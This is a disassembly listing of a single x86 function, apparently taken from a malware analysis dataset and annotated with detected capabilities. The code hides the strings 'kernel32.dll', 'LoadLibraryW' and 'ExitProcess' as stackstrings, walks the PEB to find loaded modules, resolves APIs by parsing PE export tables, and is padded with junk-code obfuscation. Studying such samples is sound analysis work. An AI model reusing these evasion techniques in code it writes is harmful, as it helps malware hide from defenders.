Function at 0x486ae4
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push eax
add eax, 0xa0bf
sub eax, 0x6a3d
xor eax, 0x2b13
pop eax
push esi
push esi
add esp, 4
or esi, 0x82ab
add esi, 0x78ba
or esi, 0x11839
xor esi, 0x16b42
pop esi
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x486475
push edi
push edi
add esp, 4
xor edi, 0x1773a
xor edi, 0x882c
jmp 0x486455
or edi, 0x64fa
pop edi
push ebx
add ebx, 0x82af
sub ebx, 0xc53a
xor ebx, 0x141ac
pop ebx
jmp 0x4866a3
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push edx
and edx, 0xf5e1
add edx, 0x16b3d
pop edx
push esi
jmp 0x4864a1
pop esi
push esi
push ecx
add esp, 4
or esi, 0x3081
pop esi
push edx
add edx, 0xb48e
jmp 0x4864bc
pop edx
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x486524
push ebx
push edx
add esp, 4
or ebx, 0x4494
pop ebx
push eax
and eax, 0x11bfd
xor eax, 0x17113
call 0x486509
add byte [edi + 0x4d], cl
push eax
dec ecx
dec edi
cmp edi, dword [ebx]
cmp eax, dword [ebp - 0x7d]
les eax, [ecx + eax*4]
enter 0x55ed, 0
add byte [eax - 0x75], bl
invalid
cmp dword [ebp - 0xc08], 0
jle 0x486649
push ebx
push esi
add esp, 4
and ebx, 0x10970
jmp 0x486544
add ebx, 0x134fd
and ebx, 0x7bfa
pop ebx
push edx
push edi
add esp, 4
and edx, 0x14ba5
sub edx, 0x1724
pop edx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x4865e5
push edi
push ecx
add esp, 4
sub edi, 0xf6e9
jmp 0x48658a
pop edi
push eax
push eax
add esp, 4
or eax, 0x9600
pop eax
push esi
push edi
add esp, 4
sub esi, 0xf2d6
jmp 0x4865aa
pop esi
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4865cd
mov dword [ebp - 0x14c0], 1
jmp 0x4865d7
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x486649
push edx
push ecx
add esp, 4
jmp 0x4865f1
add edx, 0xd7d6
jmp 0x4865fe
pop edx
push esi
push esi
add esp, 4
sub esi, 0xa33c
add esi, 0x177e6
out 0x77, al
add dword [eax], eax
out 0x77, al
add dword [eax], eax
jmp 0x486616
pop esi
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x486524
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x48669e
push eax
add eax, 0x5d99
sub eax, 0x1407
sub eax, 0x1004c
or eax, 0xc417
pop eax
push edx
push ebx
add esp, 4
sub edx, 0x67fc
and edx, 0x814b
and edx, 0x910d
pop edx
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x4866df
jmp 0x4863ec
push ebx
push ebx
add esp, 4
call 0x4866b4
add byte [edx + 0x49], cl
dec ecx
xor eax, dword [ebx + 0x3c]
add esp, 4
or ebx, 0xda79
jmp 0x4866c6
jmp 0x4866cb
pop ebx
push esi
jmp 0x4866d4
pop esi
mov dword [ebp - 0x3cc], 0
push ebx
call 0x4866f0
add byte [ebx + 0x44], cl
cmp dword [edi + esi], edi
xor al, byte [ebx + 0x36]
dec eax
dec esi
add esp, 4
pop ebx
push edx
push eax
add esp, 4
call 0x486707
add byte [ecx + 0x44], cl
xor eax, 0x4b4e4439
inc edi
add esp, 4
sub edx, 0xd3ec
pop edx
push ebx
push edi
add esp, 4
and ebx, 0x180c9
and ebx, 0x13f38
pop ebx
push eax
add eax, 0x534f
add eax, 0x2df0
xor eax, 0x17ad0
pop eax
push esi
push esi
add esp, 4
or esi, 0x5460
pop esi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push ebx
push edx
add esp, 4
call 0x48676c
add byte [ebx + 0x4c], al
cmp byte [ebp + 0x4f], cl
inc esi
cmp al, byte [ebp + 0x3e]
add esp, 4
or ebx, 0x610b
jmp 0x48677d
pop ebx
push edx
push edi
add esp, 4
or edx, 0xeb01
pop edx
mov dword [ebp - 0x1fac], 0xffffffff
push esi
push ecx
add esp, 4
xor esi, 0xc0fb
or esi, 0x101dd
pop esi
push ecx
push ebx
add esp, 4
sub ecx, 0xa109
and ecx, 0xed1b
and ecx, 0xa307
jmp 0x4867c5
pop ecx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x4867e3
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push ebx
push esi
add esp, 4
sub ebx, 0x12207
or ebx, 0x7ac5
xor ebx, 0x7494
pop ebx
push edx
sub edx, 0x1122b
add edx, 0xf04a
add edx, 0x22af
sub edx, 0xdb02
pop edx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x48685d
push ecx
add ecx, 0x4d95
and ecx, 0x7d4e
or ecx, 0x14692
pop ecx
push ebx
call 0x486848
add byte [ebx + 0x48], cl
xor eax, 0x34393234
add esp, 4
and ebx, 0x88ca
and ebx, 0x38e0
pop ebx
jmp 0x486a8b
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edx
push edx
add esp, 4
or edx, 0x7e61
and edx, 0xef16
and edx, 0x170ce
add edx, 0x6705
pop edx
push esi
push ecx
add esp, 4
and esi, 0xdf74
pop esi
push edi
xor edi, 0x8e6d
pop edi
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x48690c
push edx
push esi
add esp, 4
xor edx, 0x4fe7
jmp 0x4868dc
and edx, 0x593b
xor edx, 0x1598
pop edx
push esi
push ecx
add esp, 4
xor esi, 0x1795d
sub esi, 0x132d2
pop esi
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x486a3d
cmp dword [ebp - 0xc10], 0
jle 0x486a31
push edx
xor edx, 0x128fb
call 0x48692e
add byte [eax + 0x32], dl
xor al, 0x4e
cmp eax, dword [eax + 0x40]
add esp, 4
add edx, 0x15a8b
call 0x486947
add byte [edx + 0x3a], cl
dec edi
inc edi
inc esp
inc esp
cmp dword [edx + 0x44], ecx
xor al, byte [ebx - 0x74a5fb3c]
xchg ebp, eax
mov al, byte [0xffffff5]
mov dh, 2
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x4869cd
push ecx
and ecx, 0x1379f
or ecx, 0x348a
sub ecx, 0x5742
and ecx, 0x596
pop ecx
push esi
push edx
add esp, 4
add esi, 0x3b4a
jmp 0x48698d
jmp 0x486992
pop esi
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4869b5
mov dword [ebp - 0x14cc], 1
jmp 0x4869bf
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x486a31
push ebx
and ebx, 0xb7a5
jmp 0x4869db
and ebx, 0x7182
call 0x4869ed
add byte [ecx + 0x3c], cl
inc ebp
push eax
xor al, byte ds:[ebx + 0x565b04c4]
add esi, 0x1366b
and esi, 0x1293e
pop esi
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x48690c
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x486a86
push ebx
push edx
add esp, 4
add ebx, 0xb0c6
pop ebx
push ecx
or ecx, 0xa4d8
sub ecx, 0x16687
sub ecx, 0x5bae
or ecx, 0xb302
pop ecx
push esi
push ecx
add esp, 4
and esi, 0x336e
pop esi
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x486ac7
jmp 0x4867d4
push eax
push ebx
add esp, 4
add eax, 0xd1f3
jmp 0x486a9c
pop eax
push ebx
xor ebx, 0x10267
pop ebx
push edi
push ebx
add esp, 4
and edi, 0x15c3f
xor edi, 0xa6d8
or edi, 0x16e45
pop edi
mov dword [ebp - 0xa5c], 0
push edx
push edx
add esp, 4
sub edx, 0x1484c
or edx, 0x166a
call 0x486ae4
add byte [ebx + 0x48], al
dec edx
dec esp
aaa
xor al, 0x83
les eax, [edx + ebx*2]
push eax
push ecx
add esp, 4
jmp 0x486af2
and eax, 0x53a9
pop eax
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ebx
push edx
add esp, 4
sub ebx, 0x164ad
and ebx, 0x2121
and ebx, 0x57e1
pop ebx
push edx
push ebx
add esp, 4
or edx, 0x52cf
jmp 0x486b78
or edx, 0xcc69
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edx
push edx
add esp, 4
or edx, 0x7ff
pop edx
push eax
xor eax, 0xfed1
add eax, 0x76f4
jmp 0x486c3a
call 0x486c46
add byte [edi + 0x42], al
xor al, 0x4f
cmp al, 0x49
add esp, 4
pop eax
push ecx
xor ecx, 0x1427f
call 0x486c5d
add byte [ecx + 0x35], cl
dec ebp
cmp byte [eax + 0x4d], cl
add esp, 4
pop ecx
push edx
call 0x486c72
add byte [0x4b334a50], bh
dec ecx
aaa
dec ecx
inc ebx
xor al, 0x83
les eax, [ecx + eax*4]
dec edx
test eax, 0x645a0000
mov edx, dword [0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push esi
xor esi, 0x1c68
pop esi
push eax
xor eax, 0x689f
sub eax, 0x7ad0
pop eax
push edi
push edx
add esp, 4
xor edi, 0x15e6e
call 0x486cd2
add byte [edi], dh
cmp dh, byte [0x373b4b42]
add esp, 4
pop edi
cmp dword [ebp - 0x14d4], 0
jne 0x486cee
mov dword [ebp - 0x2e0], 0
jmp 0x486faa
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ebx
or ebx, 0x54de
or ebx, 0x13b0
and ebx, 0x98ab
pop ebx
push eax
jmp 0x486d1e
jmp 0x486d24
sub eax, 0xcfb1
jmp 0x486d31
pop eax
cmp dword [ebp - 0xc20], 0
jne 0x486d4a
mov dword [ebp - 0x2e0], 0
jmp 0x486faa
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push eax
push esi
add esp, 4
call 0x486d68
add byte [ecx + 0x4f], al
aaa
dec esp
dec edi
cmp eax, 0x4c4833f
call 0x486d78
add byte [edi], dh
cmp dword [edi], esi
dec esp
aaa
dec eax
add esp, 4
sub eax, 0x167fd
xor eax, 0x13fea
pop eax
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ebx
or ebx, 0x1541d
pop ebx
push edx
push ecx
add esp, 4
xor edx, 0x17954
jmp 0x486dce
xor edx, 0xc413
and edx, 0x1750d
pop edx
push ebx
push eax
add esp, 4
or ebx, 0xe46d
pop ebx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push esi
push edx
add esp, 4
jmp 0x486e4d
sub esi, 0x15ec0
jmp 0x486e5b
pop esi
push ebx
or ebx, 0x10730
call 0x486e6f
add byte [ebx], bh
inc ebp
inc esi
inc ebx
aaa
cmp dword [ebx + 0xf5b04c4], eax
mov bh, 0x95
add bh, bh
invalid
push esi
push ecx
add esp, 4
call 0x486fbb
add byte [ebx], bh
cmp eax, dword [ebx + 0x3d]
aas
cmp byte [ebx - 0x97efb3c], al
call 0x5e487007
push ecx
push esi
add esp, 4
xor ecx, 0x7967
xor ecx, 0x62cb
jmp 0x486fdb
pop ecx
cmp dword [ebp - 0x2e0], 0
jne 0x4878f5
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ecx
push edi
add esp, 4
xor ecx, 0x15052
jmp 0x487095
pop ecx
push eax
push eax
add esp, 4
or eax, 0xbbab
add eax, 0x4ca4
or eax, 0x14241
and eax, 0x4ee1
pop eax
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edi
push edi
add esp, 4
and edi, 0x17686
pop edi
push ebx
call 0x487153
add byte [ecx + 0x45], al
inc esp
inc ebp
aas
xor bh, byte [0x8341344f]
les eax, [ebx + ebp*8]
add esi, dword [0xe3814a50]
loope 0x4871dc
add byte [eax], al
sub ebx, 0x13c06
pop ebx
cmp dword [ebp - 0x14dc], 0
jne 0x487180
mov dword [ebp - 0x6ec], 0
jmp 0x48743c
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push eax
and eax, 0x121c6
call 0x4871a7
add byte [ebp + 0x46], al
xor eax, 0x383b3942
dec edx
add esp, 4
sub eax, 0x11323
call 0x4871c0
add byte [ebp + 0x3b], al
inc eax
cmp dword [ecx + 0x4d], eax
dec ebx
push eax
cmp dword ds:[ebx - 0x7ca7fb3c], eax
mov ebp, 0xfffff3d4
add byte [ebp + 0xf], dh
mov dword [ebp - 0x6ec], 0
jmp 0x48743c
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push ebx
add ebx, 0x117dd
pop ebx
push eax
jmp 0x4871f6
call 0x487204
add byte [eax + eax*2 + 0x3f], al
cmp dword [esi], edi
xor ecx, dword [ebx + 0x3f]
add esp, 4
pop eax
push ebx
push ebx
add esp, 4
or ebx, 0x8273
sub ebx, 0x5a08
pop ebx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push ebx
jmp 0x48724d
sub ebx, 0x87ee
pop ebx
push edx
jmp 0x48725e
or edx, 0x17be3
or edx, 0xd44e
or edx, 0x5755
pop edx
push eax
or eax, 0xc75
pop eax
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push eax
call 0x4872e3
add byte [edi + 0x37], al
dec ebp
cmp al, 0x3d
aaa
cmp eax, dword [ebx + 0x505804c4]
push ebx
add esp, 4
and eax, 0xcae1
xor eax, 0x15a8f
add eax, 0xc7e2
and eax, 0x112d6
pop eax
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x487328
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x48738b
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x487247
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x487247
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x487375
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x48737f
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x4873d4
push ecx
push ecx
add esp, 4
jmp 0x4873a1
xor ecx, 0xc9d2
sub ecx, 0x153e4
add ecx, 0x3052
pop ecx
push ecx
push ebx
add esp, 4
sub ecx, 0x809b
jmp 0x4873c5
pop ecx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x48743c
push edi
push edx
add esp, 4
add edi, 0xd3dd
call 0x4873ec
add byte [edx + 0x46], al
xor eax, 0x373a4f36
add esp, 4
and edi, 0xb490
call 0x487402
add byte [eax + 0x42], cl
inc edx
inc esp
inc edi
cmp byte [ebx + eax*4], bh
les eax, [edi + ebx*2]
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x487432
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x4871e8
mov dword [ebp - 0x6ec], 0
push edx
or edx, 0x12b81
and edx, 0x9732
call 0x487458
add byte [ebp + 0x47], cl
inc edi
dec eax
dec ecx
push eax
cmp eax, 0xc483394d
add al, 0x81
xchg ebx, eax
jnp 0x487461
add byte [edx + 0x53], bl
pop edx
push ebx
push esi
add esp, 4
jmp 0x48746d
pop ebx
cmp dword [ebp - 0x6ec], 0
jne 0x4874b8
push edi
push ecx
add esp, 4
or edi, 0xb678
pop edi
push ecx
and ecx, 0x10a67
sub ecx, 0x9f44
pop ecx
push ebx
push ecx
add esp, 4
and ebx, 0x110b1
or ebx, 0x9801
and ebx, 0x17245
pop ebx
mov dword [ebp - 0x738], 0
jmp 0x487fdf
push ecx
push ebx
add esp, 4
xor ecx, 0x5f26
and ecx, 0x138b
pop ecx
push edi
and edi, 0xe5e0
pop edi
push ecx
push ebx
add esp, 4
call 0x4874e6
add byte [0x47403c40], bh
cmp al, 0x38
cmp byte [ebx + eax*4 - 0x3c], cl
add al, 0x59
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x487529
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x48781a
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x487551
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x48781a
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x487583
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x48781a
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x4875a8
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x48781a
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x487602
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x48780e
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x487672
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x487724
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x487724
push ecx
jmp 0x4876a7
pop ecx
push esi
or esi, 0x23a
jmp 0x4876b8
sub esi, 0xf68c
sub esi, 0x571d
pop esi
push esi
push ebx
add esp, 4
xor esi, 0x10048
pop esi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x487716
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x48771d
jmp 0x487663
jmp 0x487724
push edi
call 0x487732
add byte [eax + 0x47], cl
xor al, 0x40
cmp eax, 0xc4833945
add al, 0x81
invalid
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x4878f5
push edx
push esi
add esp, 4
xor edx, 0x1370f
jmp 0x487838
add edx, 0x176be
pop edx
push ebx
call 0x48784f
add byte [ecx + 0x49], al
inc ecx
dec ebp
inc edx
cmp byte [esi], bh
cmp eax, dword [ebx + eax*4 - 0x3c]
add al, 0x81
retf
push ecx
push edx
add esp, 4
call 0x487908
add byte [ebp + 0x3e], cl
xor eax, 0x343c3d3c
dec ebx
add esp, 4
jmp 0x487912
pop ecx
push esi
or esi, 0x96a9
and esi, 0x16c94
xor esi, 0x82fa
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push ebx
sub ebx, 0x1144c
xor ebx, 0x5b86
or ebx, 0xde9a
sub ebx, 0x11e8f
pop ebx
push ebx
push ebx
add esp, 4
or ebx, 0x32c0
add ebx, 0xa26d
and ebx, 0xf5e1
pop ebx
cmp dword [ebp - 0x14f4], 0
jne 0x487998
mov dword [ebp - 0x2e0], 0
jmp 0x487c3f
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ebx
call 0x4879b9
add byte [esp + eax*2 + 0x43], al
aas
inc ebx
inc edi
dec esi
cmp al, 0x83
les eax, [ecx + eax*4]
jecxz 0x487a20
adc eax, dword [eax]
add al, ch
or eax, dword [eax]
add byte [eax], al
add byte [esi + ecx*2 + 0x4a], cl
xor dl, byte [eax + 0x34]
dec ebx
inc edx
inc edx
inc ebp
add esp, 4
add ebx, 0x1080a
pop ebx
cmp dword [ebp - 0xc3c], 0
jne 0x4879f4
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2e0], 0
jmp 0x487c3f
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push edx
sub edx, 0x15b0a
xor edx, 0x15496
sub edx, 0x69fc
sub edx, 0x72bc
pop edx
push ebx
push ebx
add esp, 4
sub ebx, 0x98c0
xor ebx, 0x5778
and ebx, 0x9cfb
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
jmp 0x4879e2
push ecx
add ecx, 0xf213
and ecx, 0x5728
or ecx, 0x54c2
add ecx, 0x40b0
pop ecx
push eax
push ebx
add esp, 4
and eax, 0x1764c
add eax, 0x1867f
add eax, 0xe385
pop eax
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push eax
push ebx
add esp, 4
xor eax, 0x1363c
or eax, 0xce4c
xor eax, 0x13554
pop eax
push esi
or esi, 0x6ba5
xor esi, 0xe8a8
or esi, 0x46ae
xor esi, 0x50ed
pop esi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x487b34
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x487b8e
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x487a5c
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x487a5c
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x487b78
